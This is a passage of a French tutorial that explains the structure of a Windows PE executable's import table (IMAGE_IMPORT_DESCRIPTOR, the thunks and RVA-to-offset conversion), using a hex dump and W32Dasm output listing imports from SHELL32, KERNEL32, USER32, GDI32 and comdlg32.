00004540 | 3A75 | 0000 | F474 | 0000 | 1675 | 0000 | 0275 | 0000 | :u...t...u...u..
00004550 | 4076 | 0000 | 4A76 | 0000 | 5476 | 0000 | 0000 | 0000 | @v..Jv..Tv......
00004560 | D874 | 0000 | B474 | 0000 | A674 | 0000 | C674 | 0000 | .t...t...t...t..
00004570 | 9874 | 0000 | 0000 | 0000 | 6678 | 0000 | 5278 | 0000 | .t......fx..Rx..
00004580 | 327A | 0000 | 8678 | 0000 | 9278 | 0000 | A278 | 0000 | 2z...x...x...x..
00004590 | B478 | 0000 | D278 | 0000 | E278 | 0000 | F078 | 0000 | .x...x...x...x..
000045A0 | FA78 | 0000 | 0879 | 0000 | 1C79 | 0000 | 2C79 | 0000 | .x...y...y..,y..
000045B0 | 4679 | 0000 | 5879 | 0000 | 6A79 | 0000 | 7879 | 0000 | Fy..Xy..jy..xy..
000045C0 | 8C79 | 0000 | A079 | 0000 | AC79 | 0000 | BC79 | 0000 | .y...y...y...y..
000045D0 | C879 | 0000 | D879 | 0000 | E879 | 0000 | FA79 | 0000 | .y...y...y...y..
000045E0 | 0C7A | 0000 | 227A | 0000 | 3A78 | 0000 | 447A | 0000 | .z.."z..:x..Dz..
000045F0 | 507A | 0000 | 587A | 0000 | 6E7A | 0000 | 7E7A | 0000 | Pz..Xz..nZ..~z..
00004600 | 967A | 0000 | A87A | 0000 | B87A | 0000 | CA7A | 0000 | .z...z...z...z..
00004610 | 0078 | 0000 | F477 | 0000 | E477 | 0000 | D677 | 0000 | .x...w...w...w..
00004620 | C877 | 0000 | B677 | 0000 | A477 | 0000 | 8E77 | 0000 | .w...w...w...w..
00004630 | 8077 | 0000 | 7477 | 0000 | 5E77 | 0000 | 5277 | 0000 | .w..tw..^w..Rw..
00004640 | 4677 | 0000 | 3677 | 0000 | 2A77 | 0000 | 1A77 | 0000 | Fw..6w..*w...w..
00004650 | 0E77 | 0000 | FC76 | 0000 | EE76 | 0000 | 1278 | 0000 | .w...v...v...x..
00004660 | 2678 | 0000 | 7478 | 0000 | 0000 | 0000 | 387C | 0000 | &x..tx......8|..
00004670 | 4C7C | 0000 | 5C7C | 0000 | 6876 | 0000 | 7C7C | 0000 | L|..\|..h|..||..
00004680 | 207C | 0000 | 0000 | 0000 | F02C | F3BF | A724 | F3BF | |.......,...$..
00004690 | 5A21 | F3BF | 1745 | F3BF | 9724 | F3BF | AB24 | F3BF | Z!...E...$...$..
000046A0 | 9F24 | F3BF | 5724 | F3BF | 6310 | F3BF | B324 | F3BF | .$..W$..c....$..
000046B0 | 361B | F3BF | 4F13 | F3BF | 5110 | F3BF | E110 | F3BF | 6...O...Q.......
000046C0 | E724 | F3BF | 7E22 | F3BF | 8218 | F3BF | 1D1C | F3BF | .$..~"..........
000046D0 | FB24 | F3BF | AF24 | F3BF | 111C | F3BF | 0000 | 0000 | .$...$..........
000046E0 | 0449 | F7BF | 2CCE | F9BF | 136E | F7BF | 9573 | F7BF | .I..,....n...s..
000046F0 | 8382 | F9BF | A2DF | F9BF | E8CD | F9BF | FFCF | F9BF | ................
00004700 | 7072 | F7BF | 1E73 | F7BF | 9482 | F9BF | 204A | F7BF | pr...s...... J..
00004710 | CF6D | F7BF | 8B6D | F7BF | 0449 | F7BF | 7D71 | F7BF | .m...m...I..}q..
00004720 | DC7B | F7BF | 607E | F7BF | AA72 | F7BF | 7776 | F7BF | .{..'~...r..wv..
00004730 | 5B73 | F7BF | 187A | F7BF | 7364 | F7BF | E472 | F7BF | [s...z..sd...r..
00004740 | 4129 | F8BF | 9C79 | F7BF | 659F | F8BF | 33FB | F7BF | A)...y..e...3...
00004750 | F16D | F7BF | CDAE | F8BF | 5476 | F7BF | BD75 | F7BF | .m......Tv...u..
00004760 | BECD | F9BF | FB73 | F7BF | 2574 | F7BF | 0000 | 0000 | .....s..%t......
00004770 | 0E8F | DD7F | 222B | DC7F | DD71 | DD7F | 2012 | DC7F | ...."+...q.. ...
00004780 | 3CB0 | E07F | 0000 | 0000 | BD4C | F6BF | 7C4D | F6BF | <........L..|M..
00004790 | 1817 | F6BF | 6A40 | F6BF | 962B | F6BF | 482B | F6BF | ....j@...+..H+..
000047A0 | 0F48 | F6BF | 702C | F6BF | 4C1A | F6BF | DB22 | F6BF | .H..p,..L...."..
000047B0 | 0C4B | F6BF | 4D12 | F6BF | 5C1A | F6BF | FB13 | F6BF | .K..M...\.......
000047C0 | CD4B | F6BF | CF51 | F6BF | 8F4F | F6BF | 112D | F6BF | .K...Q...O...-..
000047D0 | 8B48 | F6BF | 5A2B | F6BF | A923 | F6BF | F540 | F6BF | .H..Z+...#...@..
000047E0 | AD45 | F6BF | 8D4D | F6BF | 3116 | F6BF | AC26 | F6BF | .E...M..1....&..
000047F0 | 942D | F6BF | 661F | F6BF | 224D | F6BF | 521F | F6BF | .-..f..."M..R...
00004800 | 5F23 | F6BF | A84D | F6BF | 5045 | F6BF | A34E | F6BF | _#...M..PE...N..
00004810 | 2746 | F6BF | B01D | F6BF | 5716 | F6BF | 114B | F6BF | 'F......W....K..
00004820 | 8123 | F6BF | 9746 | F6BF | 9123 | F6BF | C123 | F6BF | .#...F...#...#..
00004830 | D938 | F6BF | 2B51 | F6BF | 9E2B | F6BF | 3732 | F6BF | .8..+Q...+..7#..
00004840 | 5A1F | F6BF | BE1A | F6BF | 7D23 | F6BF | F610 | F6BF | Z.......}#......
00004850 | 794F | F6BF | B64D | F6BF | B847 | F6BF | 884C | F6BF | yO...M...G...L..
00004860 | 4723 | F6BF | 3220 | F6BF | DC14 | F6BF | 5F3E | F6BF | G#..2......_>..
00004870 | E94C | F6BF | 0815 | F6BF | 0000 | 0000 | 954F | E87F | .L...........O..
00004880 | A868 | E87F | 6857 | E87F | 6211 | E87F | A34F | E87F | .h..hW..b....O..
00004890 | 9C60 | E87F | 0000 | 0000 | 4C00 | 5368 | 656C | 6C41 | .'......L.ShellA
000048A0 | 626F | 7574 | 4100 | 0900 | 4472 | 6167 | 4669 | 6E69 | boutA...DragFini
000048B0 | 7368 | 0000 | 0B00 | 4472 | 6167 | 5175 | 6572 | 7946 | sh....DragQueryF
000048C0 | 696C | 6541 | 0000 | 0800 | 4472 | 6167 | 4163 | 6365 | ileA....DragAcce
000048D0 | 7074 | 4669 | 6C65 | 7300 | 4E00 | 5368 | 656C | 6C45 | ptFiles.N.ShellE
000048E0 | 7865 | 6375 | 7465 | 4100 | 5348 | 454C | 4C33 | 322E | xecuteA.SHELL32.
000048F0 | 646C | 6C00 | 7100 | 4578 | 6974 | 5072 | 6F63 | 6573 | dll.q.ExitProces
00004900 | 7300 | F900 | 4765 | 744D | 6F64 | 756C | 6548 | 616E | s...GetModuleHan
00004910 | 646C | 6541 | 0000 | 2401 | 4765 | 7453 | 7461 | 7274 | dleA..$.GetStart
00004920 | 7570 | 496E | 666F | 4100 | BC00 | 4765 | 7443 | 6F6D | upInfoA...GetCom
00004930 | 6D61 | 6E64 | 4C69 | 6E65 | 4100 | 5601 | 476C | 6F62 | mandLineA.V.Glob
00004940 | 616C | 4672 | 6565 | 0000 | F100 | 4765 | 744C | 6F63 | alFree....GetLoc
00004950 | 616C | 6549 | 6E66 | 6F41 | 0000 | 9F02 | 6C73 | 7472 | aleInfoA....lstr
00004960 | 6370 | 7941 | 0000 | 3900 | 4372 | 6561 | 7465 | 4669 | cpyA..9.CreateFil
00004970 | 6C65 | 4100 | EF00 | 4765 | 744C | 6173 | 7445 | 7272 | leA...GetLastErr
00004980 | 6F72 | 0000 | 9602 | 6C73 | 7472 | 6361 | 7441 | 0000 | or....lstrcatA..
00004990 | 9100 | 4669 | 6E64 | 436C | 6F73 | 6500 | 9500 | 4669 | ..FindClose...Fi
000049A0 | 6E64 | 4669 | 7273 | 7446 | 696C | 6541 | 0000 | 9902 | ndFirstFileA
000049B0 | 6C73 | 7472 | 636D | 7041 | 0000 | 1D01 | 4765 | 7450 | lstrcmpA....GetP
000049C0 | 726F | 6669 | 6C65 | 5374 | 7269 | 6E67 | 4100 | A202 | rofileStringA...
000049D0 | 6C73 | 7472 | 6370 | 796E | 4100 | 9601 | 4C6F | 6361 | lstrcpynA...Loca
000049E0 | 6C52 | 6541 | 6C6C | 6F63 | 0000 | 9501 | 4C6F | 6361 | lReAlloc....Loca
000049F0 | 6C4C | 6F63 | 6B00 | 8F01 | 4C6F | 6361 | 6C41 | 6C6C | lLock...LocalAll
00004A00 | 6F63 | 0000 | A502 | 6C73 | 7472 | 6C65 | 6E41 | 0000 | oc....lstrlenA..
00004A10 | 9901 | 4C6F | 6361 | 6C55 | 6E6C | 6F63 | 6B00 | 8E02 | ..LocalUnlock...
00004A20 | 5F6C | 636C | 6F73 | 6500 | 5500 | 4465 | 6C65 | 7465 | _lclose.U.Delete
00004A30 | 4669 | 6C65 | 4100 | 9302 | 5F6C | 7772 | 6974 | 6400 | FileA..._lwrite.
00004A40 | 8F02 | 5F6C | 6372 | 6561 | 7400 | 9102 | 5F6C | 6F70 | .._lcreat..._lop
00004A50 | 656E | 0000 | 9202 | 5F6C | 7265 | 6164 | 0000 | 9002 | en...._lread....
00004A60 | 5F6C | 6C73 | 6565 | 6B00 | 9301 | 4C6F | 6361 | 6C46 | _llseek...LocalF
00004A70 | 7265 | 6500 | 6001 | 476C | 6F62 | 616C | 556E | 6C6F | ree.'.GlobalUnlo
00004A80 | 636B | 0000 | 5A01 | 476C | 6F62 | 616C | 4C6F | 636B | ck..Z.GlobalLock
00004A90 | 0000 | 4F01 | 476C | 6F62 | 616C | 416C | 6C6F | 6300 | ..O.GlobalAlloc.
00004AA0 | F000 | 4765 | 744C | 6F63 | 616C | 5469 | 6D65 | 0000 | ..GetLocalTime..
00004AB0 | 4101 | 4765 | 7454 | 696D | 6546 | 6F72 | 6D61 | 7441 | A.GetTimeFormatA
00004AC0 | 0000 | D100 | 4765 | 7444 | 6174 | 6546 | 6F72 | 6D61 | ....GetDateForma
00004AD0 | 7441 | 0000 | 9C02 | 6C73 | 7472 | 636D | 7069 | 4100 | tA....lstrcmpiA.
00004AE0 | 4B45 | 524E | 454C | 3332 | 2E64 | 6C6C | 0000 | 7F01 | KERNEL32.dll....
00004AF0 | 4D6F | 7665 | 5769 | 6E64 | 6F77 | 0000 | 3B01 | 496E | MoveWindow..;.In
00004B00 | 7661 | 6C69 | 6461 | 7465 | 5265 | 6374 | 0000 | C901 | validateRect....
00004B10 | 5365 | 7446 | 6F63 | 7573 | 0000 | 8E01 | 506F | 7374 | SetFocus....Post
00004B20 | 4D65 | 7373 | 6167 | 6541 | 0000 | E200 | 4765 | 7446 | MessageA....GetF
00004B30 | 6F63 | 7573 | 0000 | AF01 | 5365 | 6E64 | 4D65 | 7373 | ocus....SendMess
00004B40 | 6167 | 6541 | 0000 | 5E01 | 4C6F | 6164 | 4963 | 6F6E | ageA..^.LoadIcon
00004B50 | 4100 | 2502 | 5769 | 6E48 | 656C | 7041 | 0000 | CA01 | A.%.WinHelpA....
00004B60 | 5365 | 7446 | 6F72 | 6567 | 726F | 756F | 6457 | 696E | SetForegroundWin
00004B70 | 646F | 7700 | A900 | 456E | 6444 | 6961 | 6C6F | 6700 | dow...EndDialog.
00004B80 | F901 | 5368 | 6F77 | 5769 | 6E64 | 6F77 | 0000 | F200 | ..ShowWindow....
00004B90 | 4765 | 744C | 6173 | 7441 | 6374 | 6976 | 6550 | 6F70 | GetLastActivePop
00004BA0 | 7570 | 0000 | A500 | 456E | 6162 | 6C65 | 4D65 | 6E75 | up....EnableMenu
00004BB0 | 4974 | 656D | 0000 | 7800 | 4465 | 6657 | 696E | 646F | Item..x.DefWindo
00004BC0 | 7750 | 726F | 6341 | 0000 | 7601 | 4D65 | 7373 | 6167 | wProcA..v.Messag
00004BD0 | 6542 | 6F78 | 4100 | 7501 | 4D65 | 7373 | 6167 | 6542 | eBoxA.u.MessageB
00004BE0 | 6565 | 7000 | 8100 | 4465 | 7374 | 726F | 7957 | 696E | eep...DestroyWin
00004BF0 | 646F | 7700 | 4D01 | 4973 | 4963 | 6F6E | 6963 | 0000 | dow.M.IsIconic..
00004C00 | 9001 | 506F | 7374 | 5175 | 6974 | 4D65 | 7373 | 6167 | ..PostQuitMessag
00004C10 | 6500 | 8600 | 4469 | 7370 | 6174 | 6368 | 4D65 | 7373 | e...DispatchMess
00004C20 | 6167 | 6541 | 0000 | 0F02 | 5472 | 616E | 736C | 6174 | ageA....Translat
00004C30 | 654D | 6573 | 7361 | 6765 | 0000 | 0C02 | 5472 | 616E | eMessage....Tran
00004C40 | 736C | 6174 | 6541 | 6363 | 656C | 6572 | 6174 | 6F72 | slateAccelerator
00004C50 | 4100 | 4901 | 4973 | 4469 | 616C | 6F67 | 4D65 | 7373 | A.I.IsDialogMess
00004C60 | 6167 | 6541 | 0000 | FF00 | 4765 | 744D | 6573 | 7361 | ageA....GetMessa
00004C70 | 6765 | 4100 | EE01 | 5365 | 7457 | 696E | 646F | 7754 | geA...SetWindowT
00004C80 | 6578 | 7441 | 0000 | 1E00 | 4368 | 6172 | 4E65 | 7874 | extA....CharNext
00004C90 | 4100 | 2F00 | 4368 | 6563 | 6B4D | 656E | 7549 | 7465 | A./.CheckMenuIte
00004CA0 | 6D00 | 3700 | 436C | 6F73 | 6543 | 6C69 | 7062 | 6F61 | m.7.CloseClipboa
00004CB0 | 7264 | 0000 | 4701 | 4973 | 436C | 6970 | 626F | 6172 | rd..G.IsClipboar
00004CC0 | 6446 | 6F72 | 6D61 | 7441 | 7661 | 696C | 6162 | 6C65 | dFormatAvailable
00004CD0 | 0000 | 8701 | 4F70 | 656E | 436C | 6970 | 626F | 6172 | ....OpenClipboar
00004CE0 | 6400 | 1201 | 4765 | 7453 | 7562 | 4D65 | 6E75 | 0000 | d...GetSubMenu..
00004CF0 | F300 | 4765 | 744D | 656E | 7500 | 6801 | 4C6F | 6164 | ..GetMenu.h.Load
00004D00 | 5374 | 7269 | 6E67 | 4100 | 5601 | 4C6F | 6164 | 4163 | StringA.V.LoadAc
00004D10 | 6365 | 6C65 | 7261 | 746F | 7273 | 4100 | 1501 | 4765 | celeratorsA...Ge
00004D20 | 7453 | 7973 | 7465 | 6D4D | 656E | 7500 | A001 | 5265 | tSystemMenu...Re
00004D30 | 6769 | 7374 | 6572 | 5769 | 6E64 | 6F77 | 4D65 | 7373 | gisterWindowMess
00004D40 | 6167 | 6541 | 0000 | E901 | 5365 | 7457 | 696E | 646F | ageA....SetWindo
00004D50 | 774C | 6F6E | 6741 | 0000 | 5000 | 4372 | 6561 | 7465 | wLongA..P.Create
00004D60 | 5769 | 6E64 | 6F77 | 4578 | 4100 | 5A01 | 4C6F | 6164 | WindowExA.Z.Load
00004D70 | 4375 | 7273 | 6F72 | 4100 | 9601 | 5265 | 6769 | 7374 | CursorA...Regist
00004D80 | 6572 | 436C | 6173 | 7345 | 7841 | 0000 | 1601 | 4765 | erClassExA....Ge
00004D90 | 7453 | 7973 | 7465 | 6D4D | 6574 | 7269 | 6373 | 0000 | tSystemMetrics..
00004DA0 | C001 | 5365 | 7443 | 7572 | 736F | 7200 | 1902 | 5570 | ..SetCursor...Up
00004DB0 | 6461 | 7465 | 5769 | 6E64 | 6F77 | 0000 | 2200 | 4368 | dateWindow..".Ch
00004DC0 | 6172 | 5072 | 6576 | 4100 | CF00 | 4765 | 7443 | 6C69 | arPrevA...GetCli
00004DD0 | 656E | 7452 | 6563 | 7400 | 8B01 | 5065 | 656B | 4D65 | entRect...PeekMe
00004DE0 | 7373 | 6167 | 6541 | 0000 | C601 | 5365 | 7444 | 6C67 | ssageA....SetDlg
00004DF0 | 4974 | 656D | 5465 | 7874 | 4100 | 0202 | 5461 | 6262 | ItemTextA...Tabb
00004E00 | 6564 | 5465 | 7874 | 4F75 | 7441 | 0000 | 4600 | 4372 | edTextOutA..F.Cr
00004E10 | 6561 | 7465 | 4469 | 616C | 6F67 | 5061 | 7261 | 6D41 | eateDialogParamA
00004E20 | 0000 | A700 | 456E | 6162 | 6C65 | 5769 | 6E64 | 6F77 | ....EnableWindow
00004E30 | 0000 | 2601 | 4765 | 7457 | 696E | 646F | 7754 | 6578 | ..&.GetWindowTex
00004E40 | 7441 | 0000 | A301 | 5265 | 6C65 | 6173 | 6544 | 4300 | ta....ReleaseDC
00004E50 | D800 | 4765 | 7444 | 4300 | AD01 | 5365 | 6E64 | 446C | ..GetDC...SendDl
00004E60 | 6749 | 7465 | 6D4D | 6573 | 7361 | 6765 | 4100 | DC00 | dItemMessageA...
00004E70 | 4765 | 7444 | 6C67 | 4374 | 726C | 4944 | 0000 | 3200 | GetDlgCtrlID..2.
00004E80 | 4368 | 696C | 6457 | 696E | 646F | 7746 | 726F | 6D50 | ChildWindowFromP
00004E90 | 6F69 | 6E74 | 0000 | A901 | 5363 | 7265 | 656E | 546F | oint....ScreenTo
00004EA0 | 436C | 6965 | 6E74 | 0000 | D700 | 4765 | 7443 | 7572 | Client....GetCur
00004EB0 | 736F | 7250 | 6F73 | 0000 | DF00 | 4765 | 7444 | 6C67 | sorPos....GetDlg
00004EC0 | 4974 | 656D | 5465 | 7874 | 4100 | 2D02 | 7773 | 7072 | ItemTextA.-.wspr
00004ED0 | 696E | 7466 | 4100 | 5553 | 4552 | 3332 | 2E64 | 6C6C | intfA.USER32.dll
00004EE0 | 0000 | 4600 | 4465 | 6C65 | 7465 | 4F62 | 6A65 | 6374 | ..F.DeleteObject
00004EF0 | 0000 | BC00 | 4765 | 7453 | 746F | 636B | 4F62 | 6A65 | ....GetStockObje
00004F00 | 6374 | 0000 | 4300 | 4465 | 6C65 | 7465 | 4443 | 0000 | ct..C.DeleteDC..
00004F10 | 0000 | 4162 | 6F72 | 7444 | 6F63 | 0000 | 0601 | 5365 | ..AbortDoc....Se
00004F20 | 6C65 | 6374 | 4F62 | 6A65 | 6374 | 0000 | 4D00 | 456E | lectObject..M.En
00004F30 | 6444 | 6F63 | 0000 | 4E00 | 456E | 6450 | 6167 | 6500 | dDoc..N.EndPage.
00004F40 | 3701 | 5374 | 6172 | 7450 | 6167 | 6500 | 3501 | 5374 | 7.StartPage.5.St
00004F50 | 6172 | 7444 | 6F63 | 4100 | 0801 | 5365 | 7441 | 626F | artDocA...SetAbo
00004F60 | 7274 | 5072 | 6F63 | 0000 | C900 | 4765 | 7454 | 6578 | rtProc....GetTex
00004F70 | 7445 | 7874 | 656E | 7450 | 6F69 | 6E74 | 4100 | 8E00 | tExtentPointA..
00004F80 | 4765 | 7444 | 6576 | 6963 | 6543 | 6170 | 7300 | 2B00 | GetDeviceCaps.+.
00004F90 | 4372 | 6561 | 7465 | 466F | 6E74 | 4100 | CD00 | 4765 | CreateFontA...Ge
00004FA0 | 7454 | 6578 | 744D | 6574 | 7269 | 6373 | 4100 | 0D01 | tTextMetricsA...
00004FB0 | 5365 | 7442 | 6B4D | 6F64 | 6500 | 1C01 | 5365 | 744D | SetBkMode...SetM
00004FC0 | 6170 | 4D6F | 6465 | 0000 | D700 | 4C50 | 746F | 4450 | apMode....LPtoDP
00004FD0 | 0000 | 3201 | 5365 | 7457 | 696E | 646E | 7745 | 7874 | ..2.SetWindowExt
00004FE0 | 4578 | 0000 | 2F01 | 5365 | 7456 | 6965 | 7770 | 6F72 | Ex../.SetViewpor
00004FF0 | 7445 | 7874 | 4578 | 0000 | C200 | 4765 | 7454 | 6578 | tExtEx....GetTex
00005000 | 7443 | 6861 | 7273 | 6574 | 0000 | 2000 | 4372 | 6561 | tCharset.. .Crea
00005010 | 7465 | 4443 | 4100 | 4744 | 4933 | 322E | 646C | 6C00 | teDCA.GDI32.dll.
00005020 | 0200 | 436F | 6D6D | 446C | 6745 | 7874 | 656E | 6465 | ..CommDlgExtende
00005030 | 6445 | 7272 | 6F72 | 0000 | 0600 | 4765 | 7453 | 6176 | dError....GetSav
00005040 | 6546 | 696C | 654E | 616D | 6541 | 0000 | 0700 | 5061 | eFileNameA....Pa
00005050 | 6765 | 5365 | 7475 | 7044 | 6C67 | 4100 | 0300 | 4669 | geSetupDlgA...Fi
00005060 | 6E64 | 5465 | 7874 | 4100 | 0500 | 4765 | 744F | 7065 | ndTextA...GetOpe
00005070 | 6E46 | 696C | 654E | 616D | 6541 | 0000 | 0400 | 4765 | nFileNameA....Ge
00005080 | 7446 | 696C | 6554 | 6974 | 6C65 | 4100 | 636F | 6D64 | tFileTitleA.Comd
00005090 | 6C67 | 3332 | 2E64 | 6C6C | 0000 | 0000 | 0000 | 0000 | lg32.dll........
000050A0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
000050B0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
000050C0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
000050D0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
000050E0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
000050F0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
00005100 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
00005110 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
00005120 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
00005130 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
00005140 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
00005150 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
00005160 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
00005170 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
00005180 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
00005190 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
000051A0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
000051B0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
000051C0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
000051D0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
000051E0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
000051F0 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | 0000 | ................
00005200 |  |  |  |  |  |  |  |  |

Donc voilà la première structure lue dans l'Import Table étant toujours le premier IMAGE_IMPORT_DESCRIPTOR (Je dis 1er parce qu'il y en a autant qu'il y a de DLLs) et sa définition étant (un petit rappel ne fait pas de mal):

IMAGE_IMPORT_DESCRIPTOR :

1er DWORD | Original First Thunk | 6071 0000
2nd DWORD | Date Time Stamp | 64AB 2F32
3e DWORD | Forwarder Chain | FFFF FFFF
4e DWORD | Name | E874 0000
5e DWORD | First Thunk | 7073 0000

Dans une structure IMAGE_IMPORT_DESCRIPTOR: (taille 5 DWORD)
- Le 1er DWORD pointe sur une stucture appelée "ORIGINAL_FIRST_THUNK".
- Le 2nd DWORD date de création de la DLL mais vous pouvez l'ignorer et le mettre à 00000000.
- Le 3e DWORD est lui aussi réservé et mis à FFFFFFFF, (mais je l'ai déjà trouvé à 00000000)
- Le 4e DWORD pointe sur une adresse. Cette adresse c'est l'endroit où se trouve écrit le nom de la DLL à laquelle cette fonction appartient.
- Le 5e DWORD pointe sur une structure appelée "FIRST_THUNK". Cette structure est normalement une copie conforme de l"ORIGINAL_FIRST_THUNK".

On retrouve les données qui nous intéressaient. Par exemple avec : 60710000. Chaque DWORD se lisant en sens inverse donne 00007160. Cette valeur est un RVA pris par rapport au Virtual Offset(00007000) comme tout à l'heure. Le déplacement est donc en réalité de +160h (bytes) mais si on reprend le Raw Offset(00004400) comme référence (puisque c'est lui qu'utilise HexWorkShop pour son adressage) on trouve alors 00004400h + 160h = 00004560h
Donc l'"ORIGINAL_FIRST_THUNK" qui est le tableau qui contient des RVA qui pointent eux-mêmes sur les nom+ordinaux des fonctions de la DLL en question commence en 00004560h (commence en 00004560 pour cette première DLL uniquement)

1er DWORD | Original First Thunk | 60 71 00 00
2nd DWORD | Date Time Stamp | 64 AB 2F 32
3e DWORD | Forwarder Chain | FF FF FF FF
4e DWORD | Name | E8 74 00 00
5e DWORD | First Thunk | 70 73 00 00
 -->
00 00 71 60
............
............
00 00 74 E8
00 00 73 70
-->
00 00 45 60
..........
..........
00 00 48 E8
00 00 47 70

En fait dans l'IAT on trouve autant de fois la structure IMAGE_IMPORT_DESCRIPTOR: (taille 5 DWORD) qu'il y a de DLL utilisées par le programme, plus un IMAGE_IMPORT_DESCRIPTOR vide (mis à Zéro) pour clore ce groupe.

Et voyez plutôt ce que nous donne W32Dasm8.93

+++++++++++++++++++ IMPORTED FUNCTIONS ++++++++++++++++++
Number of Imported Modules = 5 (decimal)

Import Module 001: SHELL32.dll
Import Module 002: KERNEL32.dll
Import Module 003: USER32.dll
Import Module 004: GDI32.dll
Import Module 005: comdlg32.dll

00004400 | 6071 | 0000 | 64AB | 2F32 | FFFF | FFFF | E874 | 0000 | .'q..d./2.....t.. 1er IMA_IMP_DESCR
00004410 | 7073 | 0000 | D070 | 0000 | A01C | 0C32 | FFFF | FFFF | ps...p.....2....2nd IMA_IMP_DESCR
00004420 | E076 | 0000 | E072 | 0000 | 7871 | 0000 | 63E4 | FD2F | .v...r..xq..c../ 3e IMA_IMP_DESCR
00004430 | FFFF | FFFF | D67A | 0000 | 8873 | 0000 | 7870 | 0000 | .....z...s..xp..4e IMA_IMP_DESCR
00004440 | BC83 | F32F | FFFF | FFFF | 167C | 0000 | 8872 | 0000 | .../.....|...r..
00004450 | 6C72 | 0000 | 64AB | 2F32 | FFFF | FFFF | 8C7C | 0000 | lr..d./2.....|.. 5e IMA_IMP_DESCR
00004460 7C74 0000 0000 0000 0000 0000 0000 0000 |t..............
00004470 0000 0000 0000 0000 0A7C 0000 F87B 0000 .........|...{..
00004480 | 1C7B | 0000 | F27A | 0000 | 047B | 0000 | 107B | 0000 | .{...z...{...{..
00004490 | E27A | 0000 | 407B | 0000 | 4C7B | 0000 | 367B | 0000 | .z..@|..L{..6{..
000044A0 | 687B | 0000 | 7E7B | 0000 | 587B | 0000 | 9C7B | 0000 | h{..~{..X{...{..
000044B0 AE7B 0000 8E7B 0000 C87B 0000 D27B 0000 .{...{...{...{..
000044C0 BA7B 0000 2C7B 0000 E47B 0000 0000 0000 .{..,{...{......
000044D0 | F675 | 0000 | EA75 | 0000 | DA75 | 0000 | 0476 | 0000 | .u...u...u...v..
000044E0 | 1E76 | 0000 | 2876 | 0000 | 3676 | 0000 | 1076 | 0000 | .v..(v..6v...v..
000044F0 | AE75 | 0000 | CE75 | 0000 | 5E76 | 0000 | 6876 | 0000 | .u...u..^v..hv..
00004500 | 7476 | 0000 | 8476 | 0000 | 9276 | 0000 | A076 | 0000 | tv...v...v...v..
00004510 | B076 | 0000 | C276 | 0000 | D476 | 0000 | BA75 | 0000 | .v...v...v...u..
00004520 | 8475 | 0000 | 9C75 | 0000 | 9075 | 0000 | 5A75 | 0000 | .u...u...u..Zu..
00004530 | 7475 | 0000 | 6675 | 0000 | 2875 | 0000 | 4875 | 0000 | tu..fu..(u..Hu..
00004540 | 3A75 | 0000 | F474 | 0000 | 1675 | 0000 | 0275 | 0000 | :u...t...u...u..
00004550 | 4076 | 0000 | 4A76 | 0000 | 5476 | 0000 | 0000 | 0000 | @v..Jv..Tv......
00004560
D874 0000
B474 0000 A674 0000 C674 0000 .t...t...t...t..
00004570 | 9874 | 0000 | 0000 | 0000 | 6678 | 0000 | 5278 | 0000 | .t......fx..Rx..
00004580 | 327A | 0000 | 8678 | 0000 | 9278 | 0000 | A278 | 0000 | 2z...x...x...x..
00004590 | B478 | 0000 | D278 | 0000 | E278 | 0000 | F078 | 0000 | .x...x...x...x..
000045A0 | FA78 | 0000 | 0879 | 0000 | 1C79 | 0000 | 2C79 | 0000 | .x...y...y..,y..
000045B0 | 4679 | 0000 | 5879 | 0000 | 6A79 | 0000 | 7879 | 0000 | Fy..Xy..jy..xy..
000045C0 | 8C79 | 0000 | A079 | 0000 | AC79 | 0000 | BC79 | 0000 | .y...y...y...y..
000045D0 | C879 | 0000 | D879 | 0000 | E879 | 0000 | FA79 | 0000 | .y...y...y...y..
000045E0 | 0C7A | 0000 | 227A | 0000 | 3A78 | 0000 | 447A | 0000 | .z.."z..:x..Dz..
000045F0 | 507A | 0000 | 587A | 0000 | 6E7A | 0000 | 7E7A | 0000 | Pz..Xz..nZ..~z..
00004600 | 967A | 0000 | A87A | 0000 | B87A | 0000 | CA7A | 0000 | .z...z...z...z..
00004610 | 0078 | 0000 | F477 | 0000 | E477 | 0000 | D677 | 0000 | .x...w...w...w..
00004620 | C877 | 0000 | B677 | 0000 | A477 | 0000 | 8E77 | 0000 | .w...w...w...w..
00004630 | 8077 | 0000 | 7477 | 0000 | 5E77 | 0000 | 5277 | 0000 | .w..tw..^w..Rw..
00004640 | 4677 | 0000 | 3677 | 0000 | 2A77 | 0000 | 1A77 | 0000 | Fw..6w..*w...w..
00004650 | 0E77 | 0000 | FC76 | 0000 | EE76 | 0000 | 1278 | 0000 | .w...v...v...x..
00004660 | 2678 | 0000 | 7478 | 0000 | 0000 | 0000 | 387C | 0000 | &x..tx......8|..
00004670 | 4C7C | 0000 | 5C7C | 0000 | 6876 | 0000 | 7C7C | 0000 | L|..\|..h|..||..
